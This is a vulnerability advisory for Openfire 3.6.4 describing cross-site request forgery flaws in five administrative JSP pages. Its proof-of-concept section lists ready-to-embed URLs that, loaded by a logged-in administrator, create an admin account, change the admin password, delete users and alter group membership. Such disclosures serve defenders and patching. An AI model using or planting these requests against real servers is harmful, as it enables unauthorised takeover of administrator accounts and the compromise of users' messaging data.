Openfire 3.6.4 Multiple CSRF Vulnerabilities

### Product Description: Openfire is a real time collaboration (RTC) server licensed under the Open Source GPL. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). Openfire is incredibly easy to setup and administer, but offers rock-solid security and performance. (Source: http://www.igniterealtime.org/projects/openfire/) Affected Files/Locations/Modules: `user-create.jsp` `user-password.jsp` `user-delete.jsp` `group-create.jsp` `group-edit.jsp` ### Vulnerability Details: An attacker can execute functions as an authenticated user by tricking a user into making requests to the Server. The attack works by including a link or script in a page that accesses a site to which the user is known (or is supposed) to have been authenticated. Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of cookie-based authentication credentials, arbitrary page redirection, disclosure or modification of sensitive data and phishing attacks. Since the vulnerabilities exist in the administrative module, a successful attack could cause a complete compromise of the entire application. An attacker can send a link with the exploit to an administrator whose access could compromise the application. ### Proof of Concept: Create a html content (img, iframes etc.) with the following PoC URLs as src and host for the authenticated victim. ``` http://localhost:9090/user-create.jsp?username=tester&name=Riyaz&email=w alikarriyazad%40microland.com&password=test&passwordConfirm=test&isadmin =on&create=Create+User http://localhost:9090/user-create.jsp?username=tester&name=Riyaz&email=w alikarriyazad%40microland.com&password=test&passwordConfirm=test&isadmin =on&create=Create+User> http://localhost:9090/user-password.jsp?username=admin&password=secure-p ass&passwordConfirm=secure-pass&update=Update+Password http://localhost:9090/user-password.jsp?username=admin&password=secure-p ass&passwordConfirm=secure-pass&update=Update+Password> http://localhost:9090/user-delete.jsp?username=tester&delete=Delete+User http://localhost:9090/user-delete.jsp?username=tester&delete=Delete+User http://localhost:9090/group-create.jsp?name=NewGroup&description=New+Gro up&create=Create+Group http://localhost:9090/group-create.jsp?name=NewGroup&description=New+Gro up&create=Create+Group> http://localhost:9090/group-edit.jsp?group=NewGroup&add=Add&username=adm in&addbutton=Add http://localhost:9090/group-edit.jsp?group=NewGroup&add=Add&username=adm in&addbutton=Add> http://localhost:9090/group-edit.jsp?group=NewGroup&admin=abc () example co m&updateMember=Update http://localhost:9090/group-edit.jsp?group=NewGroup&admin=abc () example co m&updateMember=Update> ```